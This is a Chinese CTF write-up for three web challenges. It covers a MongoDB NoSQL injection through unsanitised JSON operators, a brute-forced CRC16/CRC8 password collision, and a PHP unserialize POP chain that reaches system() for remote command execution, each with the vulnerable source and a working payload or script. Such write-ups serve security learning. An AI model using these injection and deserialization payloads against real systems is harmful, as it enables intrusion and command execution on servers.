web
ez_signin
签到题
from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re
app = Flask(__name__)
client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']
def sanitize(input_str: str) -> str:#过滤
return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)
@app.route('/')
def index():
return render_template('index.html', books=None)
@app.route('/search', methods=['GET', 'POST'])
def search():
query = {"$and": []}
books = []
if request.method == 'GET':
title = request.args.get('title', '').strip()
author = request.args.get('author', '').strip()
title_clean = sanitize(title)
author_clean = sanitize(author)
if title_clean:
query["$and"].append({"title": {"$eq": title_clean}})
if author_clean:
query["$and"].append({"author": {"$eq": author_clean}})
if query["$and"]:
books = list(books_collection.find(query))
return render_template('index.html', books=books)
elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)
title = data.get("title")
author = data.get("author")
if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})
if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})
if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books
])
return jsonify({"error": "Empty query"}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
return jsonify({"error": "Unsupported Content-Type"}), 400
if __name__ == "__main__":
app.run("0.0.0.0", 8000)
在get请求中,有对于字符串的过滤,但是在post请求,当接收的是json格式时,不对其进行过滤,所以可以通过发送json绕过waf
{
"title": {"$ne": null}
}
EzCRC
<?php
error_reporting(0);
ini_set('display_errors', 0);
highlight_file(__FILE__);
function compute_crc16($data) //计算crc16
{
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}
function calculate_crc8($input)
{
static $crc8_table = [
0x00,
0x07,
0x0E,
0x09,
0x1C,
0x1B,
0x12,
0x15,
0x38,
0x3F,
0x36,
0x31,
0x24,
0x23,
0x2A,
0x2D,
0x70,
0x77,
0x7E,
0x79,
0x6C,
0x6B,
0x62,
0x65,
0x48,
0x4F,
0x46,
0x41,
0x54,
0x53,
0x5A,
0x5D,
0xE0,
0xE7,
0xEE,
0xE9,
0xFC,
0xFB,
0xF2,
0xF5,
0xD8,
0xDF,
0xD6,
0xD1,
0xC4,
0xC3,
0xCA,
0xCD,
0x90,
0x97,
0x9E,
0x99,
0x8C,
0x8B,
0x82,
0x85,
0xA8,
0xAF,
0xA6,
0xA1,
0xB4,
0xB3,
0xBA,
0xBD,
0xC7,
0xC0,
0xC9,
0xCE,
0xDB,
0xDC,
0xD5,
0xD2,
0xFF,
0xF8,
0xF1,
0xF6,
0xE3,
0xE4,
0xED,
0xEA,
0xB7,
0xB0,
0xB9,
0xBE,
0xAB,
0xAC,
0xA5,
0xA2,
0x8F,
0x88,
0x81,
0x86,
0x93,
0x94,
0x9D,
0x9A,
0x27,
0x20,
0x29,
0x2E,
0x3B,
0x3C,
0x35,
0x32,
0x1F,
0x18,
0x11,
0x16,
0x03,
0x04,
0x0D,
0x0A,
0x57,
0x50,
0x59,
0x5E,
0x4B,
0x4C,
0x45,
0x42,
0x6F,
0x68,
0x61,
0x66,
0x73,
0x74,
0x7D,
0x7A,
0x89,
0x8E,
0x87,
0x80,
0x95,
0x92,
0x9B,
0x9C,
0xB1,
0xB6,
0xBF,
0xB8,
0xAD,
0xAA,
0xA3,
0xA4,
0xF9,
0xFE,
0xF7,
0xF0,
0xE5,
0xE2,
0xEB,
0xEC,
0xC1,
0xC6,
0xCF,
0xC8,
0xDD,
0xDA,
0xD3,
0xD4,
0x69,
0x6E,
0x67,
0x60,
0x75,
0x72,
0x7B,
0x7C,
0x51,
0x56,
0x5F,
0x58,
0x4D,
0x4A,
0x43,
0x44,
0x19,
0x1E,
0x17,
0x10,
0x05,
0x02,
0x0B,
0x0C,
0x21,
0x26,
0x2F,
0x28,
0x3D,
0x3A,
0x33,
0x34,
0x4E,
0x49,
0x40,
0x47,
0x52,
0x55,
0x5C,
0x5B,
0x76,
0x71,
0x78,
0x7F,
0x6A,
0x6D,
0x64,
0x63,
0x3E,
0x39,
0x30,
0x37,
0x22,
0x25,
0x2C,
0x2B,
0x06,
0x01,
0x08,
0x0F,
0x1A,
0x1D,
0x14,
0x13,
0xAE,
0xA9,
0xA0,
0xA7,
0xB2,
0xB5,
0xBC,
0xBB,
0x96,
0x91,
0x98,
0x9F,
0x8A,
0x8D,
0x84,
0x83,
0xDE,
0xD9,
0xD0,
0xD7,
0xC2,
0xC5,
0xCC,
0xCB,
0xE6,
0xE1,
0xE8,
0xEF,
0xFA,
0xFD,
0xF4,
0xF3
];
$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}
$SECRET_PASS = "Enj0yNSSCTF4th!";
include "flag.php";
if (isset($_POST['pass']) && strlen($SECRET_PASS) == strlen($_POST['pass'])) {
$correct_pass_crc16 = compute_crc16($SECRET_PASS);
$correct_pass_crc8 = calculate_crc8($SECRET_PASS);
$user_input = $_POST['pass'];
$user_pass_crc16 = compute_crc16($user_input);
$user_pass_crc8 = calculate_crc8($user_input);
if ($SECRET_PASS === $user_input) {
die("这样不行");
}
if ($correct_pass_crc16 !== $user_pass_crc16) {
die("这样也不行");
}
if ($correct_pass_crc8 !== $user_pass_crc8) {
die("这样还是不行吧");
}
$granted_access = true;
if ($granted_access) {
echo "都到这份上了,flag就给你了: $FLAG";
} else {
echo "不不不";
}
} else {
echo "再试试";
}
要crc相同,但是内容不同。我这里直接爆破了
def compute_crc16(data):
"""计算 CRC16(Modbus 协议变体)"""
checksum = 0xFFFF
for byte in data:
checksum ^= byte
for _ in range(8):
if checksum & 1:
checksum = (checksum >> 1) ^ 0xA001
else:
checksum >>= 1
return checksum
def calculate_crc8(input_data):
"""计算 CRC8(基于预定义表)"""
crc8_table = [
0x00,
0x07,
0x0E,
0x09,
0x1C,
0x1B,
0x12,
0x15,
0x38,
0x3F,
0x36,
0x31,
0x24,
0x23,
0x2A,
0x2D,
0x70,
0x77,
0x7E,
0x79,
0x6C,
0x6B,
0x62,
0x65,
0x48,
0x4F,
0x46,
0x41,
0x54,
0x53,
0x5A,
0x5D,
0xE0,
0xE7,
0xEE,
0xE9,
0xFC,
0xFB,
0xF2,
0xF5,
0xD8,
0xDF,
0xD6,
0xD1,
0xC4,
0xC3,
0xCA,
0xCD,
0x90,
0x97,
0x9E,
0x99,
0x8C,
0x8B,
0x82,
0x85,
0xA8,
0xAF,
0xA6,
0xA1,
0xB4,
0xB3,
0xBA,
0xBD,
0xC7,
0xC0,
0xC9,
0xCE,
0xDB,
0xDC,
0xD5,
0xD2,
0xFF,
0xF8,
0xF1,
0xF6,
0xE3,
0xE4,
0xED,
0xEA,
0xB7,
0xB0,
0xB9,
0xBE,
0xAB,
0xAC,
0xA5,
0xA2,
0x8F,
0x88,
0x81,
0x86,
0x93,
0x94,
0x9D,
0x9A,
0x27,
0x20,
0x29,
0x2E,
0x3B,
0x3C,
0x35,
0x32,
0x1F,
0x18,
0x11,
0x16,
0x03,
0x04,
0x0D,
0x0A,
0x57,
0x50,
0x59,
0x5E,
0x4B,
0x4C,
0x45,
0x42,
0x6F,
0x68,
0x61,
0x66,
0x73,
0x74,
0x7D,
0x7A,
0x89,
0x8E,
0x87,
0x80,
0x95,
0x92,
0x9B,
0x9C,
0xB1,
0xB6,
0xBF,
0xB8,
0xAD,
0xAA,
0xA3,
0xA4,
0xF9,
0xFE,
0xF7,
0xF0,
0xE5,
0xE2,
0xEB,
0xEC,
0xC1,
0xC6,
0xCF,
0xC8,
0xDD,
0xDA,
0xD3,
0xD4,
0x69,
0x6E,
0x67,
0x60,
0x75,
0x72,
0x7B,
0x7C,
0x51,
0x56,
0x5F,
0x58,
0x4D,
0x4A,
0x43,
0x44,
0x19,
0x1E,
0x17,
0x10,
0x05,
0x02,
0x0B,
0x0C,
0x21,
0x26,
0x2F,
0x28,
0x3D,
0x3A,
0x33,
0x34,
0x4E,
0x49,
0x40,
0x47,
0x52,
0x55,
0x5C,
0x5B,
0x76,
0x71,
0x78,
0x7F,
0x6A,
0x6D,
0x64,
0x63,
0x3E,
0x39,
0x30,
0x37,
0x22,
0x25,
0x2C,
0x2B,
0x06,
0x01,
0x08,
0x0F,
0x1A,
0x1D,
0x14,
0x13,
0xAE,
0xA9,
0xA0,
0xA7,
0xB2,
0xB5,
0xBC,
0xBB,
0x96,
0x91,
0x98,
0x9F,
0x8A,
0x8D,
0x84,
0x83,
0xDE,
0xD9,
0xD0,
0xD7,
0xC2,
0xC5,
0xCC,
0xCB,
0xE6,
0xE1,
0xE8,
0xEF,
0xFA,
0xFD,
0xF4,
0xF3
]
crc = 0
for byte in input_data:
crc = crc8_table[(crc ^ byte) & 0xFF]
return crc & 0xFF
input1 = b"Enj0yNSSCTF4th!"
rel1= compute_crc16(input1)
rel2 =calculate_crc8(input1)
for i in range(100000000000000,999999999999999):
input2 = bytes(str(i),encoding='utf-8')
if rel1 == compute_crc16(input2):
print("find1",input2)
if rel2 == calculate_crc8(input2):
print("find finall!",input2)
结果是到100000011463725
的时候就跑出来了
[mpga]filesystem
pop链构造
<?php
class ApplicationContext
{
public $contextName;
public function __construct()
{
$this->contextName = 'ApplicationContext';
}
public function __destruct()
{
$this->contextName = strtolower($this->contextName);
}
}
class ContentProcessor
{
private $processedContent;
public $callbackFunction;
public function __construct()
{
$this->processedContent = new FunctionInvoker();
}
public function __get($key)
{
echo "3";
echo $key;
if (property_exists($this, $key)) {
echo "4";
echo var_dump($this->processedContent);
if (is_object($this->$key) && is_string($this->callbackFunction)) {
$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}
class FileManager
{
public $targetFile;
public $responseData = 'default_response';
public function __construct($targetFile = null)
{
$this->targetFile = $targetFile;
}
public function filterPath()
{
if (preg_match('/^\/|php:|data|zip|\.\.\//i', $this->targetFile)) {
die('文件路径不符合规范');
}
}
public function performWriteOperation($var)
{
echo "2";
$targetObject = $this->targetFile;
$value = $targetObject->$var;
}
public function getFileHash()
{
$this->filterPath();
if (is_string($this->targetFile)) {
if (file_exists($this->targetFile)) {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希: " . htmlspecialchars($md5_hash);
} else {
die("文件未找到");
}
} else if (is_object($this->targetFile)) {
try {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
} catch (TypeError $e) {
return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
}
} else {
die("文件未找到");
}
}
public function __toString()
{
echo "1";
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}
class FunctionInvoker
{
public $functionName;
public $functionArguments;
public function __call($name, $arg)
{
if (function_exists($name)) {
$name($arg[0]);
}
}
}
$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = '';
$upload_dir = "upload/";
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
if ($action === 'upload_file') {
if (isset($_POST['submit'])) {
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {
$allowed_extensions = ['txt', 'png', 'gif', 'jpg'];
$file_info = pathinfo($_FILES['upload_file']['name']);
$file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');
if (!in_array($file_extension, $allowed_extensions)) {
$output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";
} else {
$unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;
$upload_path = $upload_dir . $unique_filename;
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
$output = "<p class='text-green-600'>文件上传成功!</p>";
$output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";
} else {
$output = "<p class='text-red-600'>上传失败!</p>";
}
}
} else {
$output = "<p class='text-red-600'>请选择一个文件上传。</p>";
}
}
}
if ($action === 'home' && isset($_POST['submit_md5'])) {
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';
if (!empty($filename_param)) {
$file_object = @unserialize($filename_param);
if ($file_object === false || !($file_object instanceof FileManager)) {
$file_object = new FileManager($filename_param);
}
$output = $file_object->getFileHash();
} else {
$output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
}
}
?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件管理系统</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
}
</style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen px-4 py-8">
<div class="bg-white p-6 md:p-8 rounded-lg shadow-md w-full max-w-4xl mx-auto">
<h1 class="text-3xl font-bold mb-6 text-gray-800 text-center">文件管理系统</h1>
<div class="flex justify-center mb-6 space-x-4">
<a href="?action=home" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'home' ? 'bg-indigo-600 text-white' : 'bg-indigo-100 text-indigo-800 hover:bg-indigo-200'; ?>">主页</a>
<a href="?action=upload_file" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'upload_file' ? 'bg-blue-600 text-white' : 'bg-blue-100 text-blue-800 hover:bg-blue-200'; ?>">上传文件</a>
</div>
<?php if ($action === 'home'): ?>
<div class="text-center">
<p class="text-lg text-gray-700 mb-4">欢迎使用文件管理系统。</p>
<p class="text-sm text-gray-500 mb-6">
为了确保文件一致性和完整性,请在下载前校验md5值,完成下载后进行对比。
</p>
<h2 class="text-2xl font-bold mb-4 text-gray-800">文件列表</h2>
<div class="max-h-60 overflow-y-auto border border-gray-200 rounded-lg p-2 bg-gray-50">
<?php
$files = array_diff(scandir($upload_dir), array('.', '..'));
if (empty($files)) {
echo "<p class='text-gray-500'>暂无文件。</p>";
} else {
echo "<ul class='text-left space-y-2'>";
foreach ($files as $file) {
$file_path = $upload_dir . $file;
echo "<li class='flex items-center justify-between p-2 bg-white rounded-md shadow-sm'>";
echo "<span class='text-gray-700 break-all mr-2'>" . htmlspecialchars($file) . "</span>";
echo "<div class='flex space-x-2'>";
echo "<a href='" . htmlspecialchars($file_path) . "' download class='bg-blue-500 hover:bg-blue-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>下载</a>";
echo "<form action='?action=home' method='POST' class='inline-block'>";
echo "<input type='hidden' name='file_to_check' value='" . htmlspecialchars($file_path) . "'>";
echo "<button type='submit' name='submit_md5' class='bg-purple-500 hover:bg-purple-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>校验MD5</button>";
echo "</form>";
echo "</div>";
echo "</li>";
}
echo "</ul>";
}
?>
</div>
<?php if (!empty($output)): ?>
<div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
<h3 class="lg font-semibold mb-2 text-gray-800">校验结果:</h3>
<?php echo $output; ?>
</div>
<?php endif; ?>
</div>
<?php elseif ($action === 'upload_file'): ?>
<h2 class="text-2xl font-bold mb-4 text-gray-800 text-center">上传文件</h2>
<form action="?action=upload_file" method="POST" enctype="multipart/form-data" class="space-y-4">
<label for="upload_file" class="block text-gray-700 text-sm font-bold mb-2">选择文件:</label>
<input type="file" name="upload_file" id="upload_file" class="block w-full text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 focus:outline-none">
<button type="submit" name="submit" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-semibold py-2 px-4 rounded-lg transition duration-300 ease-in-out">
上传
</button>
</form>
<?php if (!empty($output)): ?>
<div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
<h3 class="text-lg font-semibold mb-2 text-gray-800">上传结果:</h3>
<?php echo $output; ?>
</div>
<?php endif; ?>
<p class="mt-6 text-center text-sm text-gray-500">
只允许上传 .txt, .png, .gif, .jpg 文件。
</p>
<?php endif; ?>
</div>
</body>
</html>
里面有些我在本地调试留下的echo
,不用在意
pop链主要为
FileManager->FileManager->toString->ContentProcessor->get()->FunctionInvoker->call->rce`
payload
<?php class ApplicationContext
{
public $contextName;
}
class ContentProcessor
{
private $processedContent;
public $callbackFunction;
public function __construct()//要加上这个,被坑了
{
$this->processedContent = new FunctionInvoker();
}
}
class FileManager
{
public $targetFile;
public $responseData = 'default_response';
}
class FunctionInvoker
{
public $functionName;
public $functionArguments;
}
$a = new ApplicationContext;
$b = new ContentProcessor;
$c = new FileManager;
$d = new FunctionInvoker;
$e = new FileManager;
$c->targetFile = $e;
$e->targetFile = $b;
$b->callbackFunction = 'system';
print_r(urlencode(serialize($c)));
//method = performWriteOperation & var = processedContent&cmd=ls&submit_md5=1
这里要注意的是__construct
只会在new object
的时候触发,被这里坑了